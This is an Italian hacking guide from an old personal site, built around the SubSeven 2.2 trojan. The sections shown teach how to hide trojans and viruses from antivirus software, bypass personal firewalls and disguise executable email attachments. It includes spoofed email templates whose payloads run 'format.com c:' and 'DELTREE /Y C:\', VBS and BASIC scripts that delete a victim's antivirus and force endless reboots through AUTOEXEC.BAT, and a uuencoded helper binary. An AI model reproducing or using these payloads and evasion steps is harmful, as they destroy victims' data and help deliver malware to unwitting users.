La completissima guida al sommergibile più famoso della rete

                                                       SubSeven 2.2

Hosted by www.Geocities.ws

                                                                                   by luca29t

>>>home page<<<

>>>subseven 2.2 client<<<

>>>subseven 2.2 editserver normalmode<<<

>>>subseven 2.2 editserver advancedmode<<<

>>>subseven 2.2 sin<<<

>>>come si presenta il subseven 2.2 ?<<<

>>>come rimuovere il server 2.2 ?<<<

>>>spoofing del server 2.2<<<

>>>ip<<<

>>>telnet<<<

>>>proxy<<<

>>>ftp<<<

>>>more pc info<<<

>>>netstat<<<

>>>guida a e-icon<<<

>>>irc e bot<<<

>>>cgi<<<

>>>firewall<<<

>>>fakemail<<<

>>>link<<<

 

 

 

 

Leggete con attenzione!

Luca29t non si assume nessuna responsabilita' dell'eventuale uso  delle informazioni qui riportate!Tengo a precisare e ribadire che le info qui riportate sono dei legittimi propietari ed ove gli stessi sono riportati io lo lasciati in modo che si possano vedere ,non come certi siti che le fanno apparire come roba loro cambiando addrittura i nomi.Non sono riportati i piccoli trucchetti come la doppia estensione credendo che siano scontate come esploit.

 

 

 

Eludere un personal firewall

 

Credete sia possibile? sembra propio di si.

BACKSTEALTH Security Test 1.1

(C) 2002 Paolo Iorio http://piorio.supereva.it/

Cos'è?

BACKSTEALTH è un'innovativa Utility di Sicurezza che permette di oltrepassare la protezione del Personal Firewall e creare una connessione remota per il download di un file.

Questa utility di sicurezza al giorno d'oggi è UNICA nel suo genere.

Come Lavora?

Al momento dell'esecuzione BACKSTEALTH viene eseguita nello spazio di memoria del vostro stesso Firewall, e dunque non appare un processo separato, tale tecnica "Stealth" permette di acquisire tutti i diritti per l'accesso alla rete e di essere eseguita, in maniera completamente trasparente, ed indipendente dalle altre applicazioni.

Essa si connette all'indirizzo www.pc-facile.com/security/backstealth.txt e scarica tale file salvandolo come C:\retrieve.dat

Tale utility avrà accesso alla rete senza alcun tipo di filtraggio da parte del firewall, e comunque l'utente può monitorare le varie connessioni, accorgendosi che ogni azione compiuta da Backstealth appare come fosse eseguita dal firewall stesso!

 

 

 

Nascondersi agli Antiviruzz!

Nascondersi ad un Anti-Virus è abbastanza semplice. Un Anti-Virus cerca nei file se ritrova stringe o pezzi di codice uguali a quelle che nel suo database sono segnalate come virus, trojan o possibili programmi maliziosi. Ora, dato che, a differenza dei virus che in un sistema tendono essenzialmente a riprodursi senza farsi riconoscere, un trojan deve solo limitarsi a girare sulla macchina della  vittima senza farsi beccare, basta modificare il codice del trojan per renderlo completamente invisibile. "Certo", direte voi, "facile a dirsi,ma come si fa in pratica?". facile anche questo! Avete presente quei programmi che comprimono gli eseguibili matendendo le loro funzioni di file exe come Pklite o WWWPack32? Bene, basta comprimere i file con questi programmi e gli anti-virus cercheranno finchè vorranno...il trojan non c'è per loro! Purtroppo comprimendoli  i server di alcuni trojan come BO si perdono le impostazioni personalizzate che abbiamo dato al server. Infatti se apriamo il server non ancora compresso e non configurato di BO e un server non compresso ma configurato da noi sempre di BO con un editor esadecimale (provate Hex Workshop...per ora vi basterà) vediamo che alla fine del file ci sono delle differenze...quello configurato è più lungo e i byte che ha in più alla fine di se stesso contengono la configurazione da noi data. Se adesso comprimiamo questo file e lo riapriamo con un editor esadecimale e lo scorriamo fino in fondo vediamo che i byte di configurazione sono spariti. ma nessun problema, basterà copiare qeusti byte da un altro server configurato e non compresso in quello compresso. Spero sia tutto chiaro. Altro problema nella "lotta per nacondersi agli AV" potrebbe essere quello che trojan come NetBus danno: questi creano, appena aperti, un file DLL che serve da plugin (nel caso di NetBus è un KeyLogger). Dato che non possiamo accedere direttamnte a questi file per comprimerli, e dato che gli AV li riconoscono la soluzione migliore è quella di non farli proprio apparire. Apriamo di nuovo il nostro fido editor e cerchiamo le stringe col nome del file DLL (nel caso di NetBus si chiama KeyHook.dll) e al posto del nome scrivete NUL e poi una serie di 0 tale da coprire tutto il nome del file...compresa l'estensione altrimnti NetBus creerà il file NUL0000.DLL..che sarebbe ancora rilevabile dagli AV. Fatta anche questa modifica abbiamo gabbato completamente l'AV!

 

 

E-mail spoofing

 

In questa sezione vedremo come sfruttare alcune lacune del sistema operativo Windows per mascherare file eseguibili (quindi anche virus e worm) come se fossero altri tipi di file.

 

IL FILE TYPE SPOOFING

Lo spoofing dei tipi di file è una tecnica usata, spesso anche dai virus, per simulare che un certo file corrisponda ad un tipo diverso da ciò che è realmente: in questo modo si può ingannare un utente facendogli credere che un certo attachment sembri un'immagine JPG, un archivio ZIP o qualsiasi altra cosa, quando in realtà non lo è. Un primo tipo di inganno, quello delle estensioni, è molto semplice da realizzare e si basa sul fatto che Windows (95/98/ME) gestisce male le estensioni associate ai diversi tipi di files. Infatti il sistema di Microsoft è stato progettato (di default) per non visualizzare le estensioni dei tipi di files che hanno un'associazione nel registro. Ciò vuol dire che un file ARCHIVIO.ZIP viene mostrato all'interno di Esplora Risorse e degli altri programmi solo col nome ARCHIVIO, senza visualizzare la sua estensione e può essere riconosciuto dalla classica icona associata ai file di Winzip. Questa constatazione ci pone un primo interrogativo: cosa succede ad un file rinominato (volutamente) col nome ARCHIVIO.ZIP.EXE? Questo viene considerato un file di Winzip o un eseguibile? Ecco quindi in cosa consiste il primo inganno sui tipi di file: usando questo trucco della "doppia estensione" Windows riconosce il file come un .EXE (quindi lo tratta come un eseguibile) tuttavia visualizza solo il nome senza l'estensione, quindi per un utente ignaro di questo fatto, il file porterà il nome ARCHIVIO.ZIP, quando in realtà è un'applicazione .EXE. Questo trucco è stato usato da molti worm come il famigerato ZIP Explorer. Per accorgersi della frode l'unica cosa che si può fare (oltre ad usare un buon antivirus) è quella di far visualizzare a Windows le estensioni dei files, anche per quelli associati ad applicazioni. Questa opzione si può attivare da Esplora Risorse nel menu Strumenti/Opzioni Cartella o Visualizza/Opzioni Cartella come in (Fig.1). In questo modo un'e-mail che porta dietro una attachment, visualizza il file allegato col suo nome reale, mostrando magari che questo in realtà è un eseguibile (Fig.2).

IL MIME NELLE E-MAIL

Un secondo modo di realizzare lo spoofing dei tipi di files è invece molto più subdolo e meno facile da intercettare: si tratta dell'uso di intestazioni malformate nel protocollo MIME che gestisce gli allegati alle e-mail. Gli attachment in un messaggio di posta elettronica vengono codificati usando lo standard MIME con una codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si tratti di file binari (eseguibili, immagini, file ZIP). Ecco un esempio di come vengono codificati (in forma di attachment) un file di immagine (PAMELA.GIF) e un file eseguibile (COMMAND.COM). La sezione evidenziata (box 1) nelle due definizioni di attachment è quella che definisce il tipo di files allegato e quindi anche l'applicazione da eseguire e l'associazione che deve realizzare Windows per quel file. L'inganno consiste proprio nel cambiare il campo "Content-Type" indicando magari che un file eseguibile è un'immagine. Windows (quindi Outlook Express) andrà ad associare a quel file l'icona corrispondente a ciò che indichiamo dentro la definizione MIME, quindi un attachment che magari è un programma porterà l'icona associate ai file GIF. Proviamo allora a creare una e-mail con un allegato "camuffato": scriviamo un file di testo come quello riportato e salviamolo poi con l'estensione .EML (per renderlo una e-mail leggibile da Outlook);

MIME-Version: 1.0
From: [email protected]
To: [email protected]
Subject: bla bla bla
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>

Il file allegato è un'applicazione di tipo HTA, quindi eseguibile, tuttavia se andiamo ad aprire l'e-mail essa riporta un allegato con l'icona di un'immagine GIF proprio perche nel "Content - Type" abbiamo specificato un tipo di file diverso. l'exploit ancora non è ancora completo, perché se ora proviamo ad aprire il file allegato, questo viene associato al visualizzatore di immagini GIF di Windows e non viene più considerato un eseguibile, quindi pur volendo non potrebbe causare alcun danno. Cosa è successo? Cambiando il "Content - Type" abbiamo modificato radicalmente il tipo di file, che ora viene associato ad un'altra applicazione e quindi non è più eseguibile. Come oltrepassare questa limitazione? E' qui che viene sfruttato un bug del MIME che consiste nel creare un "Subject" dell'e-maillungo 255 caratteri (ne uno di più, ne uno di meno!) seguito dall'estensione che vogliamo dare al file (nel caso di prima quindi ".HTA"). Se mettessimo un solo carattere in meno dei 255 previsti, l'allegato verrebbe riconosciuto come un'immagine GIF; se invece mettessimo un carattere in più l'allegato perderebbe ogni tipo di estensione e non sarebbe riconosciuto da Windows ne associato a qualche applicazione. Ecco quindi come modificare l'e-mail per realizzare il filetype spoofing;

MIME-Version: 1.0
From: [email protected]
To: [email protected]
Subject: PAMELA.GIF + [245 spazi vuoti] + .HTA
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>

L'essenziale è inserire nel " Subject" 255 caratteri ASCll: volendo si può scrivere anche un nome fasullo per il file (PAMELA.GIF) e completare poi i caratteri che mancano con degli spazi vuoti fino ad arrivare a 255 (nel nostro caso quindi servono 245 spazi perché "PAMELA.GIF" è lungo 10 caratteri) e infine scrivere la vera estensione da assegnare al file allegato (.HTA). Il tutto ovviamente va scritto su un'unica riga(Fig.3);

Ecco un altro esempio che utilizza lo spoofing di un file BAT, che virtualmente può eseguire qualsiasi comando sul sistema:

MIME-Version: 1.0
From: [email protected]
To: [email protected]
Subject: PAMELA.GIF + [245 spazi vuoti] + .BAT
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
DELTREE /Y C:\
CONCLUSIONI

Come ci difende Windows da questi attachment pericolosi? E' veto che la falla di sicurezza può rendere ingannev6li i files e confondere gli utenti, tuttavia Windows si accorge dell'inghippo e quando l'utente clicca per aprire l'allegato, Outlook mostra un minimo di avviso (Fig.4), anche se però non viene menzionato il fatto che l'allegato non è un'immagine e all'interno dello stesso avviso il file viene nominato col nome fasullo, non con quello reale, proprio per il fatto che sono stati usati 255 caratteri.

clicca qui per scaricare l'esempio.

 
Fig.1 Abilitare l'opzione è sconsigliabile
 
Content-Type: image/gif; name="PAMELA.GIF"
Content-Transfer-Encoding: base64

oaMk7W8HR28u0yAIB2OfcimXz5UmiMuV025P83
.......(parte codificata in base64)

Content-Type: application/actet-stream; name="COMMAND.COM"
Content-Transfer-Encoding: base64

TVogALsAAAC4BAAA//8AAAAAAAAAA
.......(parte codificata in base64)
Box 1 Esempio di codifica degli allegati
 
Fig.2 L'allegato appare col nome completo
 
Fig.3 Esempio di header MIME malformato
 
Fig.4 Outlook mostra l'avviso d'apertura

 

 

Gravissimo bug per Explorer e Windows


Georgi Guninski, famoso cacciatore di bug presenti in applicazioni e sistemi operativi, ha scoperto un gravissimo problema che affligge internet explorer e windows in generale, e che potrebbe essere sfruttato da individui malintenzionati per nascondere pericolosi virus.
Il bug in questione permette di mascherare l'estensione di un file in modo che un file eseguibile (ad esempio .exe) appaia con estensione diversa (ad esempio quella di una immagine, quindi .jpg).
E non sto parlando del trucchetto della doppia estensione (ad esempio file immagine.jpg.exe), sfruttato dai virus che si diffondono via e-mail contro i meno esperti utilizzatori della posta elettronica.
In particolare, dando ad un file un nome seguito da un CLSID (Class Identifier, ovvero identificatore di classe), windows visualizzerà quel file nascondendone la reale estensione (definita dal CLSID).

Per comprendere meglio è sufficiente fare un esempio.

Supponiamo di voler celare in un innocuo file di testo (.txt) un file html (una normale pagina web).
Dopo aver creato il file html, tramite il registro di configurazione recupereremo il CLSID dei file html, che ad esempio è "{25336920-03F9-11cf-8FD0-00AA00686F13}".
Successivamente rinomineremo il file appena creato in "leggimi.txt.{25336920-03F9-11cf-8FD0-00AA00686F13}".
Noterete che windows visualizzerà semplicemente "leggimi.txt", e l'estensione realte del file verrà nascosta.
Inoltre facendo doppio click sul file, questo verrà aperto con il programma associato al CLSID del file, quindi, nell'esempio che vio ho fatto, internet explorer.
L'unico modo per riconoscere che il file non è un txt ma un html è l'icona: windows associa al file l'icona del CLSID, e non con quella dei file .txt.
Quindi, da oggi in avanti, fate molta attenzione a QUALSIASI allegato da voi non richiesto vi arrivi tramite la posta elettronica.

 


ELUDERE GLI ANTIVIRUS





-----------------
1.0 DISCLAIMER
-----------------

Usa queste informazioni a TUO rischio e pericolo. Io e qualsiasi altra persona mi abbia aiutato a scrivere questa guida non si assumerà NESSUNA responsabilità per l'uso, l'utilizzo o l'abuso di questo testo. Le seguenti informazioni sono state scritte SOLAMENTE per scopo educativo e informativo e NON possono essere usate per scopi illegali. 

------------------------
2.0 I TOOLS NECESSARI
------------------------

Sicuramente per questa guida avrete bisogno di molta pazienza, una gran voglia di fare, ma soprattutto di un computer... :-). Non è necessario essere un grande esperto di computer o un guru, ma basta saper usare il MS-DOS.

Ricapitolando ti servono:

- un computer
- un virus
- Blade Joiner (o un qualsiasi Joiner x WinZozz)
- Bat2Com
- ExOM 

Quasi tutti i programmi che ho descritto si trovano nella sezione UUencode


-----------------------------------
3.0 FUNZIONAMENTO DI UN ANTIVIRUS
-----------------------------------

Le tecniche utilizzate dai prodotti antivirus sono due: la ricerca euristica e il riconoscimento della firma digitale.

* Ricerca euristica
L'antivirus analizza il file (programma o documento) cercando porzioni di codice in grado di svolgere azioni insolite. Funzione tipica delle applicazioni più costose, destinate in particolare a sistemi di protezione aziendale e per grandi banche dati, è una tecnica molto complessa perché implica, da parte di chi la sviluppa, la conoscenza perfetta dei programmi e dei sistemi operativi. In pratica, si tratta di capire come può essere infettato un sistema e di conoscere i punti deboli dei programmi che possono esservi installati. A questo punto il programmatore dovrà sviluppare un software in grado di anticipare l'attività sospetta diretta ai punti deboli identificati. Il grande pregio di questa tecnica consiste nel fatto che l'antivirus è un passo in avanti rispetto ai possibili virus, è già pronto cioè prima che questi vengano creati. Il suo difetto nel numero di falsi allarmi, anche molto elevato in funzione della sensibilità e della completezza del prodotto. La maggior parte degli antivirus in commercio include anche un motore di ricerca euristica, la cui efficacia è tuttavia strettamente correlata al prezzo del prodotto: un antivirus per uso personale non offre, in genere, un sistema di rilevazione euristica particolarmente efficace.

* Riconoscimento della firma digitale
L'antivirus mette a confronto il codice dei file da controllare con quello dei virus conosciuti. Le informazioni su questi ultimi sono raccolte in un database che deve essere aggiornato a intervalli regolari e brevissimi (anche una volta al giorno). È la tecnica utilizzata dalla maggior parte dei prodotti per uso personale (in effetti, da tutti i prodotti, con un'unica eccezione). Il suo pregio è che consente di mantenere contenuto il prezzo dell'antivirus, il suo difetto è che si trova sempre un passo indietro rispetto ai virus. Perché sia efficace occorre infatti che il virus sia stato trovato e che la sua descrizione sia stata inserita nel database: solo così potrà essere riconosciuto e neutralizzato dal software. Per i programmi più diffusi, i rispettivi produttori mettono a disposizione aggiornamenti frequenti del database, anche quotidiani: è quindi necessario collegarsi al sito ed effettuare l'aggiornamento online delle informazioni, procedura che in genere non richiede più di qualche minuto.


--------------------------
4.0 TECNICA 1: IL JOINER
--------------------------

Una famosa tecnica x nascondere i virus sono i joiner. Il loro funzionamento è molto semplice: creano un file .EXE che è l'unione di due files. Uno di questi 2 files deve essere per forza un file .EXE. L'antivirus non capta il virus mescolato con un altro file perchè non risconosce la firma digitale... L'unico difetto di questa tecnica è che i files ottenuti dalla fusione sono files molto grandi, e quindi potrebbero destare sospetto. Il migliore joiner in circolazione su internet è il Blade Joiner. Questo infatti dispone di diverse funzionalità (esempio: ha la notificazione ad ICQ); uno tra i migliori è anche il Senna Spy Exe Maker. Questi due files sono scaricabili dalla SEZIONE UTILIY del sito. I files mescolati nn devono essere per forza files .EXE ma possono anche essere di diversa estensione (jpeg,bitmap...).


-----------------------------
5.0 TECNICA 2: ELIMINAZIONE
-----------------------------

Una tecnica molto laboriosa per eliminare il controllo dell'antivirus è eliminare l'antivirus!!! Semplicemente basta creare un file .VBS con il comando di trovare il file principale dell'antivirus e eliminarlo, quindi riavviare il computer ed eseguire il virus.
Come??? Così:

---------------------TAGLIA QUI-------------------------
---------SALVA IL FILE COME CERCA.VBS-----------

'*********************************************
'*                                                                                       
'*Cerca files antivirus e distruggi                                        
'*                                                                                        
'* By 
'* 
'* {Ma$tErX} 
'* 
'*********************************************

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

Dim windir,systemdir

object = "C:\" ' Il drive in cui devi effettuare la ricerca

On Error Resume Next

Dim fso, f1, f2, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f2 = fso.GetFile(object & "\daniele\temp\inserisci_il.nome") 'Inserisci il nome del file
f2.Delete
'Nel caso non sappiate quale antivirus sia installato nel computer della vittima vi consiglio di inserire più nomi di files da cercare ed eliminare. Basta compiare per più volte il codice che si trova dopo il "On Error resume next" e prima di questo suggerimento.

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _ 
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

''''''''''''''''''''''TAGLIA QUI''''''''''''''''''''''''''''''''
Rinomina il file CERCA.VBS con CERCA.VBSS

A questo punto c'è il bisogno di aggiungere una stringa nel file AUTOEXEC.BAT che apra il virus dopo il riavvio del pc. In questo caso bastano poche righe di Basic:

Taglia qui...

REM *********************************************
REM * 
REM * Aggiugni stringhe a file autoexec.bat 
REM * 
REM * By 
REM * 
REM * {Ma$tErX} 
REM * 
REM *********************************************
REM RINOMINA IL FILE COME CON.BAS
10 CLS
20 OPEN ("C:\AUTOEXEC.BAT") FOR APPEND AS #1
30 PRINT #1, " " 'Inserisci tra le virgolette il nome del virus. Non dimenticarti del ' percorso se il file non si trova nella directory C:\
40 PRINT #1,"c:\windows\rundll32.exe user,exitwindows" 'Riavvia il pc all'infinito... 
50 CLOSE
60 END

Taglia qui...

Dopo aver scritto il codice sorgente compila il file CON.BAS. Il risultato sarà CON.EXE. Rinomina CON.EXE COME CON.EYE

Ora manca solo un programma Smascheri(al momento giusto) ed esegua gli altri due file. Ho scelto x queste azioni un file .BAT. Il codice sorgente è il seguente:

Taglia qui...

@echo off
echo *********************************************>nul
echo * *>nul
echo * Rinomina i files, eseguili,cancellali e *>nul
echo * *>nul
echo * riavvia il pc. *>nul
echo * *>nul
echo * By *>nul
echo * *>nul
echo * {Ma$tErX} *>nul
echo * *>nul
echo *********************************************>nul
@echo>nul
@echo RINOMINA IL FILE SETUP.BAT>NUL
@ren CERCA.VBSS CERCA.VBS
@ren CON.EYE CON.EXE
@cerca.vbs
@con.exe
@c:\windows\rundll32.exe user,exitwindows
@exit

Taglia qui...

Anche in questo caso è meglio nascondere il codice sorgente del file SETUP.BAT. Quindi apriamo il programma bat2com e scriviamo:

bat2com SETUP.BAT

Il risultato sarà un file di nome SETUP.COM

Racchiudi tutto in una cartella con il virus. Magari racchiudi il tutto con Winzip e il tuo virus è pronto x essere inviato.


--------------------------
6.0 TECNICA 3: ENCRYPTER
--------------------------

Questa è una nuova tecnica che ho sperimentato e ideato personalmente. Consiste nell'encryptare un file in modo che nn possa essere disassemblato e quindi neanche rilevato dal sistema di riconoscimento della firma digitale dell'antivirus. Il vero problema di questa tecnica, è il programma. Questo infatti è difficilmente reperibile soprattuto per i virus che solitamente funzionano sotto dos. Il programma migliore che ho trovato è stato l'ExOm. Per encryptare un file basta digitare...

exom nomefile.estensione


-----------------
7.0 CONCLUSIONI
-----------------

Nessuna di queste tecniche da SOLA garantisce un affidabilità del 100%. Vi consiglio infatti di mescolare tra loro le tecniche descritte. Come?? 
Esempio:
Per prima cosa encrypto il file; poi lo mescolo con un altro file con il blade joiner. In seguito creo un sistema per eliminare l'anitvirus come quello descritto nel capitolo 5.0. In questo modo avrete più possibilità di successo.
Spero che questa guida sia stata di vostro gradimento e vi sia stata utile per imparare un pò più di prima.
Per qualsiasi contatto per chiarimenti, proteste andate sul FORUM del nostro sito e lasciate un post.

----------------------
8.0 SEZIONE UUENCODE
----------------------
Sono riportati di seguito alcuni programmi utili per sperimentare le tecniche sopra descritte. Per estrarli copiate il testo del programma su un file .TXT. Poi rinominatelo .UUE


BAT2COM
Questo programma serve a trasformare i file .BAT in file .COM

begin 644 bat2com.com
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
M1P2+WRL>20+'!0``[email protected]``+H5`-0_S9%`C+;Z$8%<F^S`>@_!7)H,MOH
M.`5R8597B_ZS`N@M!8O6B_6Y`P#SIG4&3T^X?R"K._IR[5]>Z+W[6EM8<C,K
M!D4"+0,`N0`$Z`4#H44"*\(&C@9'`B:)!P>`/CL"`'00BQ8\`KL"%>C$`[D!
M`.C@`OC&!CH"`,.#Q`:Z.@/YZ_'&!CL"`8OO,MOHP`2Z.@-R>H`\.G4!1E8S
MP*LRY.AD`C+`JEZZ80,+R71@@#XZ`@!U!`O;=#J[OQ#H<@.+U2L620*)%CP"
M@\("NP8`N2$`Z'X"B].Y,@"[E13H40,SVX`^.@(`=`2+'CP"Z&,"ZQ60B_WH
M-@"+PP4"`"L&20*Y``'H3`*S`NA#!/C#^>O\1N@9`(-_`O]U#:%%`HE'`K,"
MZ"D$^,.Z80/YZ_GH2/N#^0AV`[D(`(OOOTT"B]^#/?]T"U$#'^CJ"5F+_7,4
MB_VX__^KJXK!JO.DB\4KPXD'B]WXPXO7*Q9)`K0!Z)8!B1X^`DXRP*I'5S+D
MZ(<!N`T`JUW^P8A._RLN20*Y$0`+VW084HO5N[\0Z),"NP8`N2$`Z*P!N2$`
MB^M:H3X""\!T&;N_$.AW`KL(`%&Y(0#HCP%9@.'P@,D"B].[%!+H7@*+W>A[
M`?C#1U=6OC<"I:1>,N3H'P&X#0"K78#!`XA._XO5*Q9)`KD!``O;=!2[OQ#H
M*P*[!@"Y(0#H1`&Y`@"+T[O,$^@7`N@V`?C#O0(`ZPB]`0#K`[T``%4RV^@=
M`XO7,N3HS@`RP*HK%DD"N3$`"]MT%+N_$.CD`;L&`+DA`.C]`+DR`(O3N_T6
MZ-`!6^CN`/C#B]9",MOHX`)R*@P@/&]U)(M$`0P@LP$\;G0-@,P@/69F=1'^
MRXID`X#\('<'LP+HM@+K.(ORB]<RY.AC`+@*#:LRP*JY`0`K%DD""]MT%+N_
M$.AU`;L&`+DA`.B.`(O3N0(`N^,/Z&$!Z(``^,.[,Q#H5@&Y``#H<@"S`NAI
M`OC#NV<0Z$,!N0``Z%\`LP+H5@+XPTZL/!IT!#P-=??XPU*+US/;,\FL/`UT
M/CP:=#J`_`)U!#PI=#&`_`%U"#P@=B@\/70D03PE=1S^QPK;LP!U%(`\?W4%
MJJQ&ZPJ`/#EV!>@M^?[#JNN]6L-55E<&Q#Y%`HOI@.$/@/D!=0V^<@^)5`*Y
M!`#SI.LB@/D"=0V^=@^)5`*Y!`#SI.L0@/D#=0N^>@^)5`&Y`P#SI(O-@.'P
M@/D0=0V^?0^)7`*Y!`#SI.LB@/D@=0V^@0^)7`*Y!`#SI.L0@/DP=0N^A0^)
M7`&Y`P#SI([email protected]/=0V^6@^Y!0")1`'SI.M&@/T!=0V^7P^Y!@")1`+SI.LT
M@/T"=0V^90^Y!0"-10/SI.LB@/T#=0V^:@^Y!0"-10/SI.L0@/T$=0N^;P^)
M1`&Y`P#SI"Z)/D4"!U]>7<-14HM'_`O`=32+RX<>00*)#XM'_@-'_"M'`HO9
MBT\"`\&)1_SC%]'I@\,$4%%3BQ_HS?];B0>#PP)9XO!86EG#'@X?M`G-(1_#
M4NCS_[K(`^CM_UK#4[D%`#/2NPH`]_.`PC!2XO.Y!0"S,%H*VH#[,'0$M`+-
M(>+R6\-75HL>@P*#^_]U-(O6OXP"N0@`K#P@=`<\+G0#JN+TOH<"I*6EQP:!
M`@``B_*S`>AQ`$[&!`"X`#W-(7)@B]C'!H,"__^T/XL6?0*+#G\"@^D$S2$[
MP7(I_5<&4@X'B\B+^@/XB]"P#?*N_$%1A\HKT;G__[@!0LTAB1Z#`EA:!U^+
M\@/PQP0-&L=$`AH:@SZ#`O]U!+0^S2'X7E_#^;KD`NOWK#P-=`0\&G4#^>L<
